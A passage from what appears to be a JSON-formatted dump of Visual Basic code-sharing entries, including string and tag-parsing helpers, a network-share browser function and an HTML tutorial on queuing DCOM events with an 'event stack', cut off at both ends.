2\n DeHex = DeHex & Chr$(Val(\"&H\" & Mid$(Data, iCount, 2)))\n Next iCount\nEnd Function"},{"WorldId":1,"id":9925,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9927,"LineNumber":1,"line":"Public Function GetTag(SourceString As String, Tag As String) As String\n 'Gets the tag and text between it\n If InStr(SourceString, \"<\" & Tag & \">\") = 0 Then\n GetTag = \"\"\n Exit Function\n End If\n GetTag = Mid$(SourceString, InStr(SourceString, \"<\" & Tag & \">\"), InStr(SourceString, \"</\" & Tag & \">\") + Len(\"</\" & Tag & \">\") - 1)\nEnd Function\nPublic Function GetTagText(SourceString As String, Tag As String) As String\n 'Grabs the text between tags\n If InStr(SourceString, \"<\" & Tag & \">\") = 0 Then\n GetTagText = \"\"\n Exit Function\n End If\n GetTagText = Mid$(SourceString, InStr(SourceString, \"<\" & Tag & \">\") + Len(\"<\" & Tag & \">\"), (InStr(SourceString, \"</\" & Tag & \">\")) - (InStr(SourceString, \"<\" & Tag & \">\") + Len(\"<\" & Tag & \">\")))\nEnd Function\n Public Function CutTag(SourceString As String, Tag As String) As String\n 'Cuts the entire tag out of the text\n If InStr(SourceString, \"<\" & Tag & \">\") = 0 Then\n CutTag = \"\"\n Exit Function\n End If\n CutTag = Left$(SourceString, InStr(SourceString, \"<\" & Tag & \">\") - 1) & Mid$(SourceString, InStrRev(SourceString, \"</\" & Tag & \">\") + Len(\"</\" & Tag & \">\"))\nEnd Function"},{"WorldId":1,"id":9928,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9930,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9936,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9938,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9939,"LineNumber":1,"line":"Public Function GetBrowseNetworkShare(ByVal hw As Variant) As String\n 'returns only a valid share on a network server or workstation\n ' hw is a forms hWnd\n ' call: Text1.Text = GetBrowseNetworkShare(Me.hWnd)\n \n Dim BI As BROWSEINFO\n Dim pidl As Long\n Dim sPath As String\n Dim pos As Integer\n\n If SHGetSpecialFolderLocation(0, CSIDL_NETWORK, pidl) = ERROR_SUCCESS Then\n\n With BI\n .hOwner = hw\n .pidlRoot = pidl\n .pszDisplayName = Space$(MAX_PATH)\n .lpszTitle = \"Select a network computer or share.\"\n .ulFlags = BIF_RETURNONLYFSDIRS\n End With\n \n 'show the browse dialog\n pidl = SHBrowseForFolder(BI)\n\n If pidl <> 0 Then\n \n sPath = Space$(MAX_PATH)\n\n If SHGetPathFromIDList(ByVal pidl, ByVal sPath) Then\n pos = InStr(sPath, Chr$(0))\n GetBrowseNetworkShare = Left$(sPath, pos - 1)\n End If\n Else:\n GetBrowseNetworkShare = \"\\\\\" & BI.pszDisplayName\n End If 'If pidl\n End If 'If SHGetSpecialFolderLocation\nEnd Function\n"},{"WorldId":1,"id":9940,"LineNumber":1,"line":"<html>\n<head>\n<title>Implementing an event stack</title>\n<style>\n\n</style>\n</head>\n<body lang=EN-US style='tab-interval:.5in;text-justify-trim:punctuation'>\n<div class=Section1>\n<h1>Implementing an Event Stack in VB</h1>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWith the advent of COM, DCOM and COM+, distributed\napplications are fast becoming, indeed, have already become, a major focus for\nnew development tactics. It's just not enough anymore to write a puny little Access\ndatabase application and hope you won't need to implement it in a network\nenvironment. More and more distributed applications are relying on an n-tier\nmodel to get the job done. If you haven't yet had to deal with the increasing\ndemands of LAN, WAN and intranet-deployed apps, you might as well get ready,\nbecause you'll have to eventually.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDCOM allows VB programmers to create ActiveX servers that\ncan run as a standalone EXE on a remote machine. Because they run\nout-of-process, unlike DLLs, multiple instances of the same class (perhaps\ncalled by multiple applications on many different machines) can be accessed all\nwithin the same process on the server machine. The EXE loads once, supplies the\nclass interface to whoever needs it, and when it's no longer needed, the EXE\nunloads. Actually, it's much more complex than this, but if you want to learn\nDCOM, read a book.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>So what's the problem?<u1:p></u1:p></h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis remote instantiation is all well and good, a\nrevolution in computing, a watershed in distributed blah blah blah… with one\nmajor drawback (at least for those ActiveX servers developed in VB). It's not\nasynchronous. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWhat does this mean? Asynchronous code is code that,\nthrough multithreading or some other trickiness executes at the same time as\nyour application code. Instead of calling a method of your class to, say,\nretrieve ten thousand records from an SQL database, then waiting while it\nexecutes, then proceeding with your code, asynchronous execution would allow\nyou to call the method, which would return immediately, allowing you to\ncontinue execution. In this example, when the class instance had completed\nfetching the SQL result set, it would, say, raise an event to let your app know\nthat it was finished. If you use ADO with events, you know what I'm talking\nabout.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThe same system works in reverse. That is, when a control\nor class raises an event trapped by the parent application, before the control\ncode can continue executing, the application has to execute its event code. For\nexample, when the Click event is raised, all the event code executes before\nreturning execution flow control to the ActiveX control. If you don't believe\nme, try it yourself. You'll never receive a MouseUp event before you finish\nprocessing the MouseDown event.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow, normally, with an ActiveX control or DLL, all the\ncode runs in-process, i.e.: your app is the only one using it, so it doesn't\nreally matter if the control code stops execution while it waits for the event\nto return. In fact, this is probably for the best. Who wants to receive the\nMouseUp Event before you finish processing the MouseDown event? But with a DCOM\nserver component, running on a remote machine, that code can be executed by\nhundreds of users at once, could be raising dozens of events at any one time,\nfrom any number of classes. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf the DCOM server component raises each of those events\nto your app, then has to wait (while the application executes ten thousand\nlines of code) before regaining execution flow control, the server is sitting\nthere, waiting for you to return flow control. While you're processing the\nevent code in your app, your preventing the server component from doing it's\njob.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis is, obviously, not a good thing.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWhat's the answer to this dilemma? You got it, smart guy.\nAn event stack.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>What the heck is an event stack?<u1:p></u1:p></h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOooo. A "Stack". Scary word. Pointers.\nShades of linked lists and other murky memories from OOP theory courses you\nslept through at school, right? Not so, my skittish friend. It's actually a\npiece of cake to implement. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDisclaimer: Before you hard-core coders out there\nstart sending me e-mails, what we're doing here is not technically a stack.\nSince a stack uses a Last In First Out (LIFO) implementation, it's unsuitable\nfor processing events in the order that they arrive (unless you're into that\nsort of thing). Technically, I guess you could call this an event pipe, or\nlist, or funnel, but stack sounds cooler. Say it with me. Stack.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nAn event stack exists for one purpose: to trap events and\nstore them for later processing. It's sort of like the transmission on your\ncar. Your transmission allows the engine and drive shaft to spin at two\ndifferent speeds without killing you and destroying your car. An event stack\nallows your app to run and receive events from the remote DCOM component,\nwithout taking execution flow away from that component. All right, so think of\nyour app as the wheels, and the DCOM component as the engine. Make more sense\nnow? No? Well I'm a VB geek, not a mechanic. Just stay tuned and you'll get it\neventually.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Okay, so what do I need?<u1:p></u1:p></h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nKnow anything about arrays? User-defined types? The VB\ntimer control? If so, you've got all the knowledge you need to implement an\nevent stack. If not, well... I guess you're out of luck.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Get to the point, already.<u1:p></u1:p></h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWhat follows is the most basic way I know to create an\nevent stack. Obviously there are any number of improvements and changes you\ncould make. Among others: \n┬╖┬á┬á┬á┬á┬á Define a cEvent\nclass with a parameters collection instead of a UDT to hold your event\ninformation.\n┬╖┬á┬á┬á┬á┬á Define an EventStack\ncollection with Push and Pop methods to contain the various events.\n┬╖┬á┬á┬á┬á┬á Use the SetTimer API\ninstead of the VB Timer control to trigger stack processing.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2><u1:p></u1:p>Step 1: Creating the event</h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>First, we need to create a variable to hold\nthe information we're going to be receiving as parameters from the event. Let's\ntake a grossly simplified example. I've created an ActiveX DCOM component\nthat's running on a server machine. It exposes a class called Xchat,\nwhose purpose in life is to receive information via a Post method:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Sub <span\nstyle='color:windowtext'>Post (<span\nstyle='color:navy'>Optional Info1 <span\nstyle='color:navy'>As Long, _<span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Optional Info2\nAs String, _<span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Optional Info3\nAs String)<u1:p></u1:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>And call an underlying function in a public\nmodule which will pass this information to all the instances of the Xchat\nclass, by raising the Dookie event:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>Public Event\nDookie (Info1\nAs Long, _\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Info2\nAs String, _\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Info3 <span\nstyle='color:navy'>As String)<u1:p></u1:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>This kind of DCOM server could be useful in hundreds\nof ways; allowing a machine to poll the server to see how many connections are\nactive, as a component in a simple chat program, or a low-tech communications\nprotocol between apps running on different PCs. You get the idea.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn this case we only want to trap one event, whose\nparameters we know, so let's create a User-defined type (UDT) in a regular .BAS\nmodule, to hold the event parameters.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Type t_Event<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\n┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>FirstParam<span\nstyle='color:blue'> As Long<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\n┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>SecondParam<span\nstyle='color:blue'> As String<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\n┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>ThirdParam<span\nstyle='color:blue'> As String<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\nEnd Type<u1:p></u1:p><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>If you want to hold different events in your\nstack (let's say a Timer event and an Error event), you might want to add an EventID\nmember to your UDT so the eventual processor of the events knows which event\nit's processing. Likewise, you could add a ControlID if you want to trap\nevents from different controls, etc.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n"But what if we don't know that all the events will\ncontain the same parameters?", I hear you ask. Good question. Like I said,\nthis is the simplest way to create an event stack. If you don't know\nwhat parameters you'll be receiving, you could implement a Parameters\ncollection as a member of an Event class, which in turn would be\ncontained in an EventStack collection, etc., etc.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEasy enough, right? Wait. It gets even easier. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Step 2: Creating the stack</h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow we need to create a global variable in the same module\nto hold all of our event information:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic a_EventStack() <span\nstyle='color:navy'>As t_Event<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis array will hold all of our miscellaneous event\ninformation. We'll add events to the array, one at a time, as we receive them.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Step 3: Trapping the event</h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nLet's assume you're using the Xchat class in your\napp. If you want to receive events from this component, you need to declare it\nusing the WithEvents keyword. So create a form in VB. In the code view for\nthe form, right after the Option Explicit statement (you do use Option\nExplicit, don't you? Good.) type the following:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDim WithEvents xc_Remote <span\nstyle='color:navy'>As Xchat<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\nDim b_LockStackProcessing\nAs Boolean<u1:p></u1:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis, of course assumes you've correctly referenced the\nremote component type libraries, configured it with Dcomcnfg.exe, and a\nwhole bunch of other stuff that is beyond the scope of this article.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow, if you click on the object combo box at the top of\nthe code view window, you should see xc_Remote show up in the list of available\nobjects. Click on it, and like magic, we're transported to the Dookie\nevent.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHere is where the major advantage of an event stack starts\nto become apparent. In the normal course of things, if this were a regular\nclass, a DLL, or an ActiveX control, you would do something like this:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub xc_Remote_Dookie (Info1<span\nstyle='color:blue'> As Long,<span\nstyle='color:blue'> Info2 <span\nstyle='color:navy'>As String, Info3<span\nstyle='color:blue'> As String)<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\n┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á 'Execute\nten thousand lines of <o:p></o:p>\n┬á┬á\n'time-consuming, processor intensive code<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\nEnd Sub<u1:p></u1:p><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHowever, it's not. This component is raising dozens of\nevents per second, possibly to multiple clients, each of which wants to execute\nits ten thousand lines of code before returning control to the server. See a\nproblem?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn order to get around this dilemma, we'll replace the\ntraditional event code with something like this:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á Private Sub xc_Remote_Dookie(Info1<span\nstyle='color:navy'> As Long, Info2 As String, Info3<span\nstyle='color:navy'> As String)<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á Dim <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>l_Count<span\nstyle='color:navy'> As Long<u1:p></u1:p><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á If <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>b_LockStackProcessing<span\nstyle='color:navy'> Then<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Exit Sub<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á End If<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á On Error GoTo <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>err_EmptyArray<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>l_Count<span\nstyle='color:navy'> = UBound(a_EventStack)<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á ReDim Preserve <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>a_EventStack(l_Count\n+ 1)<u1:p></u1:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á err_Reentry:<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á On Error GoTo <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>0<u1:p></u1:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á a_EventStack(l_Count + 1).FirstParam =\nInfo1<u1:p></u1:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á a_EventStack(l_Count + 1).SecondParam =\nInfo2<u1:p></u1:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á a_EventStack(l_Count + 1).ThirdParam =\nInfo3<u1:p></u1:p>\n┬á┬á┬á┬á┬á┬á Exit Sub<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á err_EmptyArray:<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á l_Count = 0<u1:p></u1:p>\n┬á┬á┬á┬á┬á┬á ReDim <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>a_EventStack(l_Count)<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á Resume <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>err_Reentry<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á End Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>All this really does is grab the event\ninformation and slap it into our event stack, and then returns control to the\ncomponent that raised the event. Since this code will execute in a fraction of\nthe time it would take to actually fully process the event, it doesn't take\ncontrol away from the server component for too long, and allows the\nserver to continue doing its job.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Step 4: Processing the event</h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow let's add a timer control tmr_Event to the\nform, and set the interval property to some suitably small period, say 200 milliseconds.\nThe Timer event is where we'll process all the events we've trapped in\nour stack, so we want to process the stack often enough to stay abreast of the\nevents being raised by the server, but not so often that we're constantly\ninterrupting client execution to handle the stack. After all, presumably this\napplication has other things to do.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nBack into the code view for the form, let's add some code\nto the Timer event:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á Private Sub <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>tmr_Event_Timer<span\nstyle='color:navy'>()<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á Static <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>b_Reentry<span\nstyle='color:navy'> As Boolean<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á Dim <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>l_Count<span\nstyle='color:navy'> As long<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á Dim <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>i<span\nstyle='color:navy'> As Integer<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á If <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>b_Reentry<span\nstyle='color:navy'> Then<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nExit Sub<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á End If<u1:p></u1:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á On Error Goto <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>err_EmptyArray<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>l_Count =<span\nstyle='color:navy'> UBound(a_EventStack)<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á On Error Goto <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>0<u1:p></u1:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á ┬á<u1:p></u1:p>\n┬á┬á┬á┬á┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>b_Reentry =<span\nstyle='color:navy'> True<u1:p></u1:p><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\";color:green'>'.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á┬á┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á'.<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á 'At this point, we\ncan execute some <o:p></o:p>\n┬á┬á┬á┬á┬á┬á 'code to process\na_EventStack(0), since it is<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á 'the oldest event in\nthe stack. <u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á 'Remove the oldest\nevent.\n \nb_LockStackProcessing = True<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á ┬á<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á If <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>l_Count = 0<span\nstyle='color:navy'> Then<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á\nErase a_EventStack<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á Else<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á For <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>i = 0<span\nstyle='color:navy'> To l_Count - 1<u1:p></u1:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>a_EventStack(i) =\na_EventStack(i + 1)<u1:p></u1:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á Next<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á\nRedim Preserve a_EventStack(l_Count + 1)<u1:p></u1:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á End If<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á b_LockStackProcessing =<span\nstyle='color:navy'> False<u1:p></u1:p><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á err_EmptyArray:<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>b_Reentry =<span\nstyle='color:navy'> False<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á End Sub<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á \nAs you can see, we implement reentrancy protection on this\nprocedure with the b_Reentry variable, since the timer might tick ten\ntimes before we finish processing the event stack, and we don't want to process\nevents out of turn. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>In addition to the standard reentrancy\nprotection, I've also added a global stack protection variable b_LockStackProcessing.\nI use this so that no events can be added to stack while I'm resizing it. Since\nthe server component is running asynchronously to the application, it is\npossible (though unlikely) to receive server events while resizing the stack. I\ndon't mind receiving events while I'm processing the stack, but I don't want to\noverwrite existing events while I'm resizing, so I lock the stack. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn this particular example, I only process one event off\nthe stack every time the timer ticks. Obviously if you plan on receiving more\nthan one event between timer ticks, you may want to process the entire stack\nevery time the timer ticks. Also, since the stack is an array, it takes some\ntime to shuffle all the events up one slot. You may want to implement a\ncollection instead, which, though it takes more memory and resources to handle,\ncan allow you to remove the event from the stack with one line of code.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNote: Another possible improvement on the code\nhere, which I leave you to implement, is a flexible timer. Every couple of\ntimes you process the stack, you check to see if there are a large number of\nevents in the stack. If there are, you decrease the timer interval. If there\nare very few events in the stack, you increase the timer interval. This means\nthat when the server is flipping out and flooding you with events, your app can\ndevote more time to handling those events, and when the server component is\ntwiddling its thumbs, your app can devote more processing time to other tasks.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>That's it?</h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThat's all she wrote, boys and girls. See how easy that\nwas? While an event stack may not be necessary for small client-server\napplications, it sure can save your bacon if you're deploying on an\nEnterprise-wide scale. It can also be of enormous value if you want to dispatch\nevents asynchronously, just for the heck of it. Best of all, this technique can\nbe used in reverse, within your ActiveX server components, as a method stack,\nprocessing method calls asynchronously so that the server component interface\nis always available to clients.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow go forth and multiply. Asynchronously.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPhilippe DesRosiers\ne: philippe_desrosiers@karat.com<o:p></o:p>\n</div>\n<u1:p></u1:p>\n</body>\n</html>\n"},{"WorldId":1,"id":9946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9957,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9966,"LineNumber":1,"line":"Private Sub Command1_Click()\nMkDir \"c:\\New Folder\"\nEnd Sub"},{"WorldId":1,"id":9967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9975,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9976,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9986,"LineNumber":1,"line":"<pre>\nPrivate Sub Form_Load()\n Me.Show 'if you try to add a control to a form that's\n 'not yet visible...kaboom\n Set objControl = Me.Controls.Add(\"MyControl.usercontrol1\", \"MyTextBox\")\n 'the first parameter is the progid, the second is merely\n 'the name you'll use to identify it in the control collection\n objControl.Visible = True\n objControl.Top = 0\n objControl.Left = 0\n 'all methods/properties except the basic ones like\n 'visible, top, width, etc, must be called like so:\n objControl.object.MyProperty = \"test\"\n objControl.object.MyMethod\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n 'be sure to clean up after yourself or you might\n 'start getting GPFs.\n Call 